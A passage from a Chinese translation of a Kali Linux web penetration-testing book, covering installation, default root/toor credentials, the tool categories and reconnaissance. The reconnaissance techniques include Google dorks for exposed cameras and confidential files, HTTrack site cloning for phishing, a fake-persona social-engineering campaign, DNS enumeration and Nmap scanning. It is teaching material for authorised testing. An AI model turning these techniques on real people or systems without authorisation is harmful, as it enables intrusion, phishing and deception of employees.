	在安装前你还要有可用的互联网连接。这很重要，否则在安装时你无法配置和访问软件包仓库。



1.在运行Kali后，它会显示一个启动安装界面。你可以选择要进行哪种类型的安装（基于GUI的还是基于文本的）。




2.选择本地语言设置，国际和键盘设置。




3.给Kali Linux主机起一个主机名。默认的主机名是Kali
 。




4.设置密码。简单的密码可能不行，所以要选择有一定复杂度的密码。




5.下一个弹出的界面会问你时区设置。进行相应的修改，然后选择Continue
 。下面的截图中显示的是选择了Eastern
 标准时间的界面。




安装程序会让你设置分区。如果你是将Kali安装到虚拟映像上，选择Guided Install - Whole Disk
 。它会销毁硬盘上的所有数据，并安装Kali Linux。注意，在虚拟机上，只有虚拟硬盘会被擦除。高级用户可以选择手工配置来定制各个分区。Kali还提供了选项来使用逻辑卷管理器（Logical Volume Manager，LVM）。LVM支持在安装完成后管理分区和调整分区大小。理论上，它应该做到存储需要变更时可以方便地修改。不过，除非你对Kali Linux的需求非常复杂，否则可能用不到它。




6.最后一个窗口会回顾配置过的安装设定。如果一切看上去没问题，选择Yes
 来继续完成这个过程，如下面的截图所示。




7.Kali Linux使用集中式软件仓库来分发应用软件包。如果想要安装这些包，你需要使用网络镜像。这些软件包会通过HTTP协议下载。如果网络使用了代理服务器，你还需要在代理设置中配置网络代理。




8.Kali会弹出提醒，要你确认安装GRUB。GRUB是一个多启动引导加载程序。它支持启动多个操作系统。几乎任何情况下都应该选择安装GRUB。如果想把系统配置成双启动，你需要确定GRUB能够识别其他操作系统，这样它能给用户提供启动其他操作系统的选项。如果没有检测到任何其他操作系统，它会在启动时自动进入Kali Linux。




9.恭喜！你已经安装好Kali Linux了。现在你需要移除所有的外部存储媒体（物理的或虚拟的），然后选择Continue
 来重启系统。






1.5.3　首次运行Kali Linux和VM映像文件



在有些Kali的安装方法中，会要求你设置root账户的密码。在Kali Linux启动后，输入root账户的用户名和你设定的密码。如果下载的是Kali VM映像文件，你需要知道root密码。默认的用户名是root
 ，密码是toor
 。







1.6　Kali工具集概述



Kali Linux提供了数种经过定制的专门为渗透测试设计的工具。工具都会按下图中下拉选单所示的方式按组分类聚合。







	
Information Gathering（信息收集）
 　这些都是侦察工具，用来收集目标网络和设备的数据。在这类工具中，从找出设备的工具到查看使用的协议的工具都有。

	
Vulnerability Analysis（漏洞分析）
 　这个类别中的工具主要用来评测系统，找出漏洞。通常，这些工具会针对前面用信息搜集侦察工具发现的系统来运行。

	
Web Applications（Web应用）
 　这个类别中的工具用来对Web服务器进行审计和漏洞利用。我们在本书中提到的很多审计工具都来自这个类别。不过Web应用也不全是指针对Web服务器的攻击工具，它们也可能指用做网络服务的基于Web的工具。举个例子，在这个类别中你也能看到Web代理工具。

	
Password Attacks（密码攻击）
 　这类工具主要用来进行暴力破解密码，或是离线计算密码或身份认证中的共享密钥。

	
Wireless Attacks（无线攻击）
 　这类工具主要是对无线协议中发现的漏洞加以利用。在这里你可以找到802.11工具，包括aircrack、airmon和破解无线密码的工具。除此之外，这个类别中也包含跟RFID和蓝牙漏洞相关的工具。很多情况下，这个类别中的工具需要跟一块可以由Kali配置成混杂模式（Promiscuous Mode）的无线网卡搭配使用。

	
Exploitation Tools（漏洞利用工具）
 　这些工具主要用来对系统中找出的漏洞加以利用。通常，漏洞会在对目标进行的漏洞评估环节被找出。

	
Sniffing and Spoofing（网络嗅探和欺骗）
 　这类工具用于抓取网络上的数据包、篡改网络上的数据包、自定义数据包以及仿造网站。这个类别中还有一些VoIP重建工具。

	
Maintaining Access（保持访问权限）
 　保持访问权限工具是在建立了到目标系统或网络的入口后使用的。通常，被侵入的系统会有多个钩子钩回攻击者，当攻击者使用的漏洞被发现和修复时，它会提供替代路径。

	
Reverse Engineering（逆向工程工具）
 　这类工具用来拆解可执行程序和调试程序。逆向工程的目的是分析一个程序是如何开发的，这样就可以对它进行复制、修改，或者通过它开发其他程序。逆向工程也用在恶意软件分析中，用来查明可执行程序都做了哪些事情，或是被研究者用来尝试找到软件应用中的漏洞。

	
Stressing Testing（压力测试工具）
 　这类工具用来测试一个系统能处理多少数据。过载的系统可能会出现预期外的结果，比如导致控制网络通信的设备打开所有的通信通道，或是导致系统关闭（也称为拒绝服务攻击）。

	
Hardware Hacking（硬件破解工具）
 　这类工具包含Android工具（可以划分为移动类）和Arduino工具（用来编程和控制其他小型电子设备）。

	
Forensics（取证工具）
 　这类工具主要用来监测和分析计算机网络的流量和计算机应用。

	
Reporting Tools（报告生成工具）
 　这类工具用来将渗透测试活动中发现的信息转换成可交付的文档。

	
System Services（系统服务）
 　用这类工具你可以启用或禁用Kali的服务。服务聚合到了BeEF、Dradis、HTTP、Metasploit、MySQL和SSH这几个小分类中。




 Kali Linux还会包含其他一些工具，比如Web浏览器、修改Kali Linux在网络上呈现形式的工具的快速链接、搜索工具和其他一些有用的工具。




1.7　小结



本章介绍了Web应用渗透测试，并对配置Kali Linux环境做了概述。一开始，我们就定义了进行渗透测试服务的最佳实践，其中对风险做了定义，也对各种服务的区别做了介绍。需要掌握的是渗透测试跟其他安全服务的区别在哪里，如何正确定义某个服务等级的工作范围，还要知道执行任务的最佳方法。跟潜在的客户坦诚说明合理的预期有助于获得合作机会，也有助于简化确定可接受工作范围的过程。

本章接下来概要介绍了Kali Linux。内容包括如何下载你需要的Kali Linux版本、安装Kali Linux的多种方式，之后还对工具集做了概要介绍。下一章将会介绍如何对目标进行侦察。这是进行渗透测试服务的第一步，也是最关键的一步。

 




第 2 章　侦察




侦察
 （reconnaissance）这个术语源自军事战略，意为摸清友军占领范围以外区域的情况，收集敌方情报以便后续分析或攻击。对计算机系统的侦察本质上与此类似，即渗透测试人员或黑客在对目标系统发起攻击之前先尝试掌握尽可能多有关目标环境和系统特征的信息。这也称作确立目标的足迹
 。侦察本质上一般是被动的，在许多情况下只要你没有跟非授权系统进行三次握手就不算非法（不过，我们不是律师，没法提供法律上的建议）。

侦察的例子太多了。在公共资源（比如谷歌）上研究目标，监测公司雇员的活动以了解其工作模式，扫描网络或系统以收集信息（如生产商类型、操作系统和打开的通信端口），这些都算。收集到的有关目标的信息越多，找到最简便和最快速方法完成渗透目标的概率就越大，找到避开现有安全部署的最佳方法的概率也越大。还有，惊动了目标很有可能导致特定的攻击路径被关闭（加强戒备）。Kali的官方口号说得非常贴切：

The quieter you become, the more you are able to hear.（越是安静，侦察的收获就越多。）

侦察服务应该包含大量的文档记录，因为侦察阶段发现的数据有可能会跟渗透测试活动后面的某个点关联。客户也想知道特定数据是怎么得到的，他们可能会问数据的来源。这里有个客户提问的例子。客户会问这些数据是通过哪些工具获得的，或者是通过哪些公共资源获得的（比如，在谷歌中通过提交的特定搜索查询就能获得数据）。只告诉客户“我已经完成了目标”是不够的，因为渗透测试的目的就是为了找出薄弱环节，以便将来修补。




2.1　侦察的对象






	
目标的背景
 　目标的业务关注的是什么领域？

	
目标的伙伴
 　目标的业务伙伴、经销商和客户都是谁？

	
目标在安全方面的投资
 　他们的安全政策做过宣传吗？他们在安全上的潜在投资有什么计划？用户的安全意识是什么状态？

	
目标的业务和安全政策
 　他们的业务是如何运作的？运作环节中有什么潜在的薄弱环节吗？

	
目标的员工
 　他们的员工都是什么样的人群？你如何能将他们变成你攻击时的资产？

	
定义目标
 　哪个目标是最容易攻陷的？哪个目标是应该避开的？

	
目标的网络
 　人和设备是如何在网络上进行通信的？

	
目标的防御
 　他们做了什么样的安全部署？部署在了哪里？

	
目标的技术
 　在电邮、网络流量控制、信息存储、身份认证等方面他们使用的是什么样的技术？这些技术容易被攻击吗？



Kali Linux包含一个提供很多工具的类别，名为Information Gathering（信息收集）
 ，是专门给侦察任务用的。如果要把信息收集类别中提供的所有工具和方法介绍一遍，可能得另外写一本书了。本章将着重介绍各种Web应用侦察工具，然后介绍那些能在互联网上找到的顶尖工具，以及Kali Linux提供的工具。




2.2　初期研究



侦察工作一开始，就应收集尽可能多跟目标有关联的人群和业务的信息。正如《孙子兵法》中那句知名的话：“知己知彼，百战不殆。”作为渗透测试人员，你需要知道你的目标。如果你的目标恰巧是网站，那么你应该观察该网站的方方面面。这样就能对该网站如何维护和运行有更深的理解。出色的侦察工作有助于发现更多潜在的漏洞。

在公共信息来源上能发现的信息会多得惊人。我们发现的信息多得难以想象，比如经过分类的文档、密码、漏洞报告、私密照片，还有可以访问的监控摄像头。许多渗透测试项目的对象都是利用公共消息来源找到的信息。这里我们会介绍从公共消息源上收集信息的一些基本知识。



2.2.1　公司网站



我们可以从目标的网站上获取很多有用的信息。许多公司网站都会列出他们的管理团队、公共人物及来自招聘团队和HR联系人的成员。这些人都可以成为其他研究工作和社会工程攻击的对象。

通过查看其他信息，如合伙人、当前的招聘广告、业务信息以及安全政策等，我们还能获得更多有用的信息。对某个价值很高的合伙人的侦察可能跟对主要目标的侦察一样重要，因为合伙人能够提供获取情报的新来源。这里举个例子，你可以对在目标总部管理客服团队的已经建立联系的资源下手。

在这些网站上，Robots.txt文件是可以公开访问的。这个文件会通过网络爬虫排除协议（Robots Exclusion Protocol）告诉Web机器人（也称为搜索引擎爬虫）哪些信息是可见的，哪些是不可见的。Disallow: /
 语句会告诉浏览器不要访问某个来源；不过，当研究者对目标不希望透露给公共访问的信息感兴趣时，Disallow文件就可以被忽略了。

Robots.txt文件可以在目标网站的根目录中找到。举个例子，将Robots.txt文件加到Facebook的URL上之后，看起来如下面的截图中所示：






2.2.2　Web历史归档网站



大多数公开网站的归档版本都能在信息归档网站（如位于archive.org的WayBack Machine
 ）上找到。在目标网站的早期版本中，我们能找到一些感兴趣的信息，如目标不希望在当前网站版本中出现的早期组织结构框图、电话号码、客户情报、在特定文件中列出的系统信息（如view source
 或/robots.txt）、早期的商业伙伴、在后续版本中修复的漏洞，以及其他的有用信息。要知道可以公开访问的信息很难彻底删除；这样，历史信息归档对侦察研究也很有价值。

要访问WayBack Machine
 ，可访问http://archive.org，你能在页面中间看到Internet Archive WayBack Machine
 几个单词，如下面的截图所示：




输入你要浏览的URL，看看它是否抓取过任何归档文件。归档历史也能在这里看到，如下面的截图所示：




对于渗透测试人员来说，这是一个很有用的工具，因为它不会在你的目标上留下任何证据。实际上，通过这个工具你根本就不需要直接访问目标。所有的信息都被WayBack Machine
 归档到了线上。下面两个截图分别显示了2002年和2013年的www.lancope.com：









2.2.3　区域互联网注册管理机构



区域互联网注册管理机构（Regional Internet Registry，RIR）是管理世界范围内特定区域内IP资源分配和注册的组织。世界范围内主要有五个区域互联网注册管理机构。管理美国、加拿大和部分加勒比区域的机构位于www.arin.net。你可以收集跟目标（如Lancope）有关的信息，如下面的截图所示：






2.2.4　电子化数据收集、分析及检索（EDGAR）



电子化数据收集、分析及检索（Electronic Data Gathering, Analysis and Retrieval，EDGAR）数据库含有自1994年起所有公司的注册声明、阶段报告以及其他形式的信息。根据法律，在美国注册的公司都需要备案，所有的信息都可公开访问。下面两个截图显示的是搜索Lancope时找到的公开文档：









2.2.5　社交媒体资源



现在是社交媒体的天下，而且大多数情况下，其中的信息都可公开访问。大多数人都有Facebook、LinkedIn、博客或是其他形式的存有有用信息的云账户。这些信息可以用做对目标当前员工或前员工进行社会工程情报工作的一种手段。简单的例子是搜索Glassdoor.com，根据反馈找出那些对目标不满的前员工。

有许多搜人的Web资源，比如Maltego（Kali Linux中有），可以将流行的社交媒体、公开记录和招聘网站合在一起来根据有限的信息定位某个人，如姓或名。研究人员可以搜集到很多信息，比如此人居住过的地方、从事过的工作、跟他们有交往的人、特殊的兴趣爱好、最喜欢的体育团队以及其他对将来的研究和社会工程攻击有用的数据。



2.2.6　信任关系



大多数人都会很自然地相信别人，并假设发布到公开信息源的信息都是真实的。为了测试这个观点，本书的作者在社交媒体上创建了一个假冒的人，假装成目标公司的新员工。假冒的人最终成了目标合作伙伴的友邻，通过这个身份我们将链接到BeEF
 系统（用来危害有漏洞的Web浏览器）的节日贺卡发出去，从被危害的系统中抓取敏感信息。我们还对整个组织进行了结构绘制，获取了网络信息，甚至不经过任何内部电邮或电话就让他们把硬件送到了我们这里。我们假冒的那个人，Emily Williams，并不真实存在，却收到了录用通知，还拿到了内部信息以及参加由目标举办的一些活动的资格。信息就是权力，人们会将它授予看起来值得信任的请求者。

这个项目的详情可以参考这里：http://www.thesecurityblogger.com/?p=1903
 。



2.2.7　招聘广告



招聘广告会包含跟目标环境相关的大量信息。职位列表会说明安装的是什么系统、谁会管理这些系统、雇员有多少以及雇员的技能水平。人力资源代表通常都急于跟有望成为正式员工的候选人分享各种信息，这可以作为获取内部信息的一个途径。这里举个例子。我们可以根据招聘Oracle开发人员的广告，问一些诸如“管理员可以远程工作吗”“他们如何访问那些系统”之类的问题来了解目标用的是什么硬件、Oracle的版本、现在和之前的管理员名字、现有的运维问题、安全隐患，以及访问系统的途径。

另一个值得审视的途径是在流行的招聘版面上该职位的预期薪水、福利以及流动率等信息。这些趋势可能会提供新的攻击方向。Glassdoor.com就是这类数据的一个常见信息源。



2.2.8　位置



目标在互联网安全上的投入通常可以参考其在物理安全上的投入水平来判定。人们都会假定，配有栅栏和全副武装的保安的建筑通常会比那些位于公共建筑中的目标在互联网安全上投入更多。在线地图服务，如谷歌地图，可以帮助找出哪里部署了物理安全，以及人们靠近/远离目标的趋势。其他有趣的领域包括找到渗透测试人员可以暂时停留扫描无线网络的地方，以及绕过访问控制的方法，比如更换着装、使用门禁卡来获得物理访问。



2.2.9　Shodan搜索引擎




Shodan
 是一个可以通过各式各样过滤器（如系统访问提示横条中的元数据）找出特定设备（如计算机、路由器、服务器等）的搜索引擎。举个例子，你可以搜索特定的系统，如运行着某个版本软件——IOS版本15.0(1) EX——的Cisco 3850。

下面的例子就是搜索支持公开互联网访问（理论上认为不应存在）的所有SCADA系统的一个用例。然而，Shodan会说明并非所有这类系统都不支持公开访问。SCADA系统控制的是电力管理和污水治理之类的事情，所以可以找到公开访问入口的这类系统都极其糟糕！






2.2.10　Goole Hacking



Google Hacking是对Web应用进行侦察时最常见的搜索引擎形式。Google Hacking利用谷歌搜索引擎中的高级操作来定位搜索结果中的特定字符串。搜索过滤器可精确定位带有漏洞的Web应用的特定版本，比如在intitle:"index of"
 操作符的结果中找出Powered by Apache
 ，就能看到网站的目录结构，或是找出日志文件，如ws_ftp.log等包含敏感IP地址信息的文件。下面的一些截图演示了在谷歌中搜索Linksys来找出那些可以公开访问的Linksys监控探头。第一幅图显示的是调用搜索引擎时的搜索命令，后面跟的是示例搜索结果。最后一幅截图显示的是可以通过这项技术找到的一个监控探头链接。










这里我们列出一些示例搜索查询命令：




	找出机密文档：intext: classified top secret
 ；

	找出Linksys监控摄像头的管理图形界面（注意，你可能并不喜欢找到的结果）：inurl:main.cgi
 ；

	找出Nessus报告来找到易被攻击的系统：inurl:NESSUSXXXXXXXX
 。



要了解有关Google Hacking的更多细节，可以参考一本非常棒的书——由Johnny Long著的Google Hacking for Penetration Testers
 ，也可以访问作者位于http://johnny.ihackstuff.com
 的个人网站。



2.2.11　Goole Hacking数据库



由Hackers For Charity
 （http://www.hackersforcharity.org
 ）的Johnny Long创建的Google Hacking数据库（GHDB）
 ，是谷歌搜索查询的权威参考。对用户名、密码、易受攻击系统和漏洞利用的搜索都会被Google Hacking狂热分子抓取并归类。那些将这类谷歌搜索进行归类的狂热分子通常称为Google怪咖（Google Dork1[此处的定义跟Johnny Long在GHDB中的定义不符。GHDB中Google Dork
 是指那些不小心被Google暴露在黑客搜索查询下的系统所有者。参见http://www.exploit-db.com/google-dorks/
 。——译者注]}）。

要访问GHDB，请打开http://www.exploit-db.com/google-dorks/
 。你能在Web页面上看到列出的最新GHDB搜索，可以点击任何搜索查询来查看搜索结果。




你可以在该Web页面的底部找到不同类别的搜索。在下面的例子中，我们会切到分类Vulnerable Files
 并选择查询ionCube Loader Wizard
 。







我们可以点击搜索查询，它会跳到谷歌的搜索结果页面。




前面的例子显示出谷歌找到了一些结果。很明显ionCube Loader
 没有经过配置或是没有被正确配置。ionCube Loader
 实际上是一款很棒的软件，它会保护那些用PHP开发的软件，使其不能在非授权计算机上浏览或是修改。不过，在这个例子中，管理员没有做任何配置，而是直接留下了默认的配置向导。




点击第一条链接时，我们会跳到配置该软件的主界面。

GHDB主要的作用是将谷歌变成渗透测试人员的一个受限的Web应用扫描器。在上面这个例子中，用来加固安全的“善意”的软件现在却可能被攻击者用来对付Web服务器。



2.2.12　研究网络



许多人并不理解在实施攻击之前研究目标网络的真正目的。业余的渗透测试人员都知道在进行渗透测试之前需要选定一个目标。毕竟，渗透测试人员需要找到他们各种兵器的用武之地。许多业余人员会通过使用Nmap、进行ping扫射（ping sweep）或使用其他比较暴露的工具来判断哪些目标可以导致目标环境中断服务，但往往最终结果并不佳。

网络侦察主要是选定目标。老到的安全专业人士会告诉你，好的侦察是为了选定质量比较高的目标。他们大部分时间都是在观察，而不是行动。每个渗透测试的第一步都是精确地找到和选定高质量的目标。

站在客户的角度上，渗透测试人员可能会碰到这样的情况：有的人因阻止了渗透测试人员而洋洋自得，以为这证明他们对得起自己的薪水，并且已经对网络攻击做了充分的准备。我们强烈建议在执行渗透测试时，渗透测试专业人员不要跟客户的员工起争执。在整个渗透过程中，渗透测试人员应侧重于安全意识和揭露出存在的漏洞，同时应尽可能少地跟目标的员工交流。

接下来要介绍的都是Kali中包含的进行Web应用侦察时最常见的工具。虽然Kali中也有其他工具可用于Web应用或不同的目标类型，但本章的重心是使读者可以开始对基于Web应用的目标进行测试。


1. HTTrack：克隆网站工具


HTTrack是Kali中内置的工具，主要用于克隆网站。渗透测试人员可以利用它来在可以自主控制的环境中查看该网站的完整内容：所有页面和离线文件。此外，我们会在后面的章节中使用HTTrack来进行社会工程攻击。我们可以利用该网站的副本来开发假冒的钓鱼网站，这部分我们会在介绍其他渗透测试工具集时介绍。

要使用HTTrack，打开一个终端窗口，键入apt-get install httrack
 ，如下图所示。


 Kali的有些版本中没有内置此工具。




这里你要创建一个目录来存储复制的网站。下面的截图显示的是使用mkdir
 命令来创建一个名为mywebsites的目录。




要启动HTTrack，在命令窗口中输入httrack
 ，然后输入该项目的名字，如下图所示：




下一步是选择一个存储网站的目录。下图中的例子显示的是将前面步骤中创建的/root/mywebsites
 用作此用途：




输入你要抓取的网站的URL。下面截图中的例子中用的是www.drchaos.com。这里可以使用任何网站。许多攻击选定的都是目标客户访问的网站，比如流行的社交媒体网站或是目标的内部网站。

后面两个选项决定如何处理抓取的网站。选项2是最简单的方法，它会通过向导来镜像该网站，如下面的截图所示：




下一步，你可以指定是否在实施攻击时使用代理。也可以指定要下载的文件类型（下面的截图中都用*
 来指代所有文件）。你还可以定义要设置的任何命令行选项或标志。下面截图中显示的例子中没有用任何其他选项。

在httrack
 运行之前，它会先显示要运行的命令。如果你以后想直接运行httrack而不用向导，可以记下这个命令。下面两个截图显示的是使用httrack
 克隆www.drchaos.com的过程：







完成克隆网站后，切换到保存该克隆的那个目录。在那里，你能看到该网站所有的文件和网页，如下面的截图所示：




现在一切就绪，你可以开始研究目标的网站，而且还可以构建定制的渗透工具，利用漏洞来获取用户对那个克隆网站的访问。


2. ICMP侦察技术



ping
 和traceroute
 命令是查找目标基本信息的两个很有用的工具。当信息在网络中流动时，它通常不是直接从源地址发到目标地址。通常，在到达目标地址之前，它需要在数个系统间穿行，如路由器、防火墙和其他计算机系统。traceroute
 命令会找出数据经过的每个系统，以及数据在系统间流动时消耗的时间。这个工具在每个现代操作系统中几乎都有。对那些最重要的目标来说，ping
 和traceroute
 命令很多情况下都是禁用的，而过多地使用这些服务可能会触发网络安全系统中的警报。许多防火墙或其他系统都被设置成不响应B24RYE路由的。如果系统能响应traceroute
 ，那么过度使用该命令会触发安全事件。如果你的目标是偷偷潜入目标系统，那么你已经失败了。有了这些安全事件，你的目标肯定会安装和部署针对你的渗透测试的防御措施。

ICMP扫射只是简单地发送一个echo
 请求，然后等待应答。如果应答返回了，那么作为渗透测试人员，你应该知道它可能就是目标。ICMP扫描的问题在于很多防火墙通常会拦截ICMP。也就是说，外面过来的发往目标内网的所有扫描都会被ICMP扫描器拦截。


ping
 命令是进行ICMP扫射最基本的方式。你可以简单地键入ping
 ，后跟一个主机名或IP地址来查看针对ICMP的echo
 请求响应的是什么。下面的截图显示的是www.google.com针对ping
 的结果：




如果收到了目标的回应，那么你就能知道目标主机处于活动状态。如果你得到的是超时，那么要么是你的ICMP请求被拦截了，要么是没有目标主机收到你的请求。


ping
 命令的问题在于它只允许你一次使用ICMP检查一台主机。fping
 命令会允许你用一条命令ping多台主机。它还允许你读取一个写有多个主机名或IP地址的文件，然后对这些主机发送ICMP的echo
 请求数据包。

要使用fping
 命令来在网络上运行ICMP扫射，调用如下命令：



fping -asg network/host bits



fping -asg 10.0.1.0/24








a
 标记用于限定只返回活跃主机的IP地址，s
 标记用于显示该扫描相关的统计信息，g
 标记用于将fping
 设成安静模式，即它不会显示每个扫描的状态，而只在完成时显示汇总信息。


 Nmap的结果跟fping
 命令很相似。


3. DNS侦察技术


许多重要的目标都有一个跟应用关联的DNS名称。DNS名称可以帮助用户更方便地访问特定服务，从而使他们的系统看起来更专业。举个例子，如果要访问谷歌查找信息，你可以打开一个浏览器，在其中输入74.125.227.101
 或www.google.com
 。

特定目标的DNS信息对渗透测试人员来说极其有用。DNS允许渗透测试人员勾勒出系统和子域的部署框图。早期的DNS攻击会从授权DNS服务器上传送一个区域文件（Zone File），这样渗透测试人员就可以查看完整的区域文件内容来找出可能的目标。不幸的是，今天大多数DNS服务器都不允许非授权的区域文件传送。不过，这也没什么影响！DNS的特性决定了它会响应查询，因此，攻击者可以使用包含数百个名字的单词列表来向DNS服务器进行查询。这种攻击套路非常耗时，但许多方面都能自动化。


Dig
 （domain information gropher，域名信息查询工具）是最流行、使用最广泛的DNS调查工具。它会查询DNS服务器。要使用Dig，打开一个命令行窗口，输入dig
 和主机名，主机名代表目标域名。Dig会使用操作系统的默认DNS设置来查询该主机名。你也可以给该命令加一个@<IP>
 参数来对Dig进行配置，使其使用特定DNS服务器来进行查询。下面截图中的例子演示的是使用Dig来对www.cloudcentrics.com进行查询。




Dig中的-t
 选项会指定某个DNS区域使用授权域名服务器（authoritative name server）。在下面的截图中我们输入的是dig -t ns cloudcentrics.com
 ：




结果显示，对于域名www.cloudcentrics.com，我们有两台授权DNS服务器，分别为ns3681.hostgator.com和
 ns3682.hostgator.com。

恭喜！你刚刚已经找到了目标DNS的授权DNS服务器！


4. DNS目标识别


现在你已经发现了某个域的授权DNS服务器，你可能想看看在那个域上都有哪些记录。举个例子，域drchaos.com会有几台主机，比如
 cloud.drchaos.com、mail.drchaos.com、
 sharepoint.drchaos.com。这些主机可能托管着我们要找的应用，或是潜在的重要目标。

在开始随机选取主机之前，我们应该查询DNS服务器来查看已有哪些记录。最好的方式就是让DNS服务器来告诉我们。如果DNS服务器的配置支持区域传送（Zone Transfer），它就能给我们一份完整的记录。

Kali自带了一个名为Fierce的工具。Fierece会检查DNS服务器是否允许区域传送。如果允许，Fierce就会进行区域传送并通知用户。如果不允许，Fierce可以配置成用暴力法来从DNS服务器枚举主机名。Fierce的设计初衷就是侦察工具，这样有了IP地址，你就可以使用那些需要用到IP地址的工具了，比如Nmap。

要使用Fierce，你可以点击Information Gathering
 > DNS Analysis
 > Fierce
 。Fierce会加载到一个终端窗口中，如下面的截图所示。




输入如下命令运行Fierce
 脚本：



fierce.pl -dns thesecurityblogger.com










在前面截图中的域名thesecurityblogger.com跟几个主机关联。我们已经完成了任务。不过，你能看到Fierce在完成区域传送时失败了。如果你指定了字典的话，Fierce会尝试暴力枚举区域传送。我们没有定义字典，因为本节的目的是决定该域中都有哪些主机，而不是在这个时间点进行区域传送攻击。不过，如果你的目标不只是定位Web应用，你可以自行去了解相关内容。

现在我们可以瞄准特定的主机，用类似Nmap这样的工具来仔细测试我们的目标。使用Fierce一个重要的原因是选定目标时只用很少的网络流量，这样的好处是避免被发现。我们将会在本章后面用Nmap来收集更多有关目标的信息。


5. Maltego：信息收集图表


Maltego是Kali内置的一个由Paterva开发的侦查工具。它可用于多种用途，收集互联网上开放的或公共的信息。它提供了一些DNS侦察功能，但更擅长提取目标指纹和收集目标上的情报。它会将这些信息以图表的形式展现出来，方便分析。

要启动Maltego，可以点击Kali中的Application
 菜单，然后点击Kali
 菜单，之后选择Information Gathering
 > DNS Analysis
 > Maltego
 。

启动Maltego后第一步是注册，不注册就无法使用该应用。




完成注册后，就可以安装Maltego并开始使用了。




Maltego有很多方法可用来收集信息。使用Maltego的最佳方式是利用启动向导，选择你要收集的信息类型。有经验的用户可能想直接以空白图标的形式直接启动，或是跳过整个向导。Maltego的强大之处在于它允许你以可视化的方式来观察域名、组织和人之间的关系。你可以通过DNS查询着重关注某个特定组织，或是查看某个组织以及与其相关的合作伙伴。

根据选择的扫描选项，Maltego允许你执行如下任务：




	将电邮地址跟人关联起来；

	将网站跟人关联起来；

	验证邮件地址；

	从Twitter上收集信息，包括照片中的地理位置信息。



Maltego的大多数功能都很直观，不需要太多解释。在功能描述部分也有如何使用的信息。Maltego常用来收集信息，有时用作社会工程攻击的第一步。






2.2.13　Nmap



Nmap的含义是网络映射器（Network Mapper），主要用来扫描网络中的主机和服务。Nmap有一些高级功能，比如检测系统上运行的不同应用及服务，此外还有提取OS指纹的功能。它是最广泛使用的网络扫描器之一，这使得它非常高效，但也很容易被检测到。我们建议尽可能少使用Nmap，以避免触发目标的防御系统。

要了解如何使用Nmap的更多信息，可以参考http://nmap.org/
 。

此外，Kali自带的是Zenmap。Zenmap相当于给Nmap加了一层运行命令的图形化用户界面（GUI）。尽管有些纯粹主义者会说Nmap的命令行版本才是最好的版本，因为速度快、使用自由，但Zenmap也提供了一些Nmap中没有提供的特有功能，比如生成之后可用于其他报告系统中扫描结果的图形化展示。

要打开Zenmap
 ，到Backtrack
 菜单，浏览Information Mapping
 > DNS Analysis
 ，然后运行Zenmap
 。




你会发现在Profile
 菜单中，有若干可以决定扫描类型的选项，如下面的截图所示：




第一步我们先创建一个新的配置。Zenmap中的配置允许渗透人员指定要进行什么类型的扫描，包含什么样的选项。找到Profile
 菜单，选择New Profile or Command
 来创建一个新的配置，如下面的截图所示。




选择New Profile or Command
 之后，你就进入了配置编辑器。你需要给该配置起个描述性的名字。举个例子，可以将配置称作My First Scan
 或是其他任何你喜欢的名字。

也可以选择给该配置加个描述。在使用Zenmap的过程中，你可能会创建许多配置，进行多种扫描。人的本能反应可能会在执行过后就删除配置。这里有个善意建议：配置并不怎么占存储空间，而且在你想重新创建扫描时非常方便。我们建议配置名称一定要描述清楚用途，并应该遵循一定的标准命名方式。我的所有配置名称都是以日期、时间、我的位置、目标网络的扫描位置以及客户名称开头。




在完成描述后，点击Scan
 标签。在Targets
 部分，你可以添加要扫描的主机或网络。这个字段可以填IP地址的范围（10.0.1.1-255），或是CIDR格式
２

 的网络（10.0.1.0/24）。



２

 Classless Inter-Domain Routing，无类别域间路由，是一个用于给用户分配IP地址以及在互联网上有效地路由IP数据包的IP地址归类方法。——译者注


你可以看到选项-A
 被默认选中了，它会打开进攻性扫描模式（Aggressive Scanning）。进攻性扫描会打开OS检测（-O
 ）、版本检测（-sV
 ）、脚本扫描（-sC
 ）和路由追踪（--traceroute
 ）。最重要的，进攻性扫描模式允许用户打开多个开关而不必记住它们。

进攻性扫描可以认为是入侵性的，也就是说，它会被大多数安全设备发现。如果你的目标是一个极其确定的主机，进攻性扫描才可能不被注意到。但不管怎样，我们建议你在将其用在扫描选项中时，一定要先得到对方的许可。提醒一下，对未授权系统完成三次握手中的ACK在美国标准中都算违法。

我们可以用在DNS侦查实践中收集的信息来定位特定主机。开始之前，先来设置一些常见选项。




点击Ping
 标签，选择-Pn
 开关选项，这样Nmap就不会先ping该主机。如果此开关未开启，Nmap会先对目标主机和网络进行ping。在默认设置中它只对认为是处于活动状态或可到达的主机进行扫描。-Pn
 开关告诉Nmap即使没收到ping应答也要对该主机进行扫描，尽管这样可能会让扫描的时间变长。-Pn
 开关可以避免Nmap扫描时的一个常见问题——ping请求被安全防御系统拦截，收不到ping应答。




点击右下角的Save Changes
 按钮保存修改。保存后，点击屏幕右上角的Scan
 按钮开始扫描。注意你在配置编辑器中设定的选项和目标这时会显示出来。




网络的Topology
 标签可以用来快速查看对目标网络扫描的进度，以及是否要经过一些路由器。在本例中，你可以看到我们的扫描是在本地网络。


Hosts
 标签会列出已经发现的主机。




选定某个主机，Zenmap会显示一个详细的列表，包括主机、它们的操作系统和常见服务。在下面的截图中，你可以看到我们的主机之一是一台卫星DVR/接收器组合。




如果你是在扫描窗口，你不仅能看到在特定主机上哪些端口是打开的，而且能知道那些主机上运行着哪些应用。注意Nmap能够判定一些事情，比如某个服务器在端口80上运行着IIS 5.0作为Web服务器。扫描结果会列出该服务器的IP地址、该服务器运行的操作系统，以及该主机上运行的Web应用。渗透测试人员会发现在针对该主机找寻可利用漏洞时，这些结果很有用。




现在你可以将精力集中到目标上运行的Web服务或是80端口上，因为它是打开的。

Zenmap是从Nmap扫描中获取输出的最佳方式。Zenmap提供了丰富的图形化用户界面来显示扫描结果。结果可以导出为多种格式，如文本或是微软的Excel。

尽管有多种方式可以获得Nmap的输出（比如本书作者喜欢用命令行命令），但我们还是介绍了这种方式，因为它在很多Web渗透标准中都一直被提到，是常见的使用方式。




另外，Zenmap的GUI中有几个地方允许用户将图片或是报告中的特定部分以CSV文件或图片文件格式导出。在创建报告时这些导出的结果非常有用。





FOCA：网站元数据侦察工具


你知道在每次创建文档时，如微软的PowerPoint演示、微软的Word文档或是PDF，你都会留一些元数据在文档中吗？

什么是元数据？就是有关数据的数据。它是有关特定数据集、对象或资源的描述性信息，包括所采用的格式及其创建时间和创建者。对于渗透测试人员，元数据可能很有用，因为它含有跟创建文件的系统有关的信息，比如：




	登录到该系统的用户名称；

	创建该文档的软件；

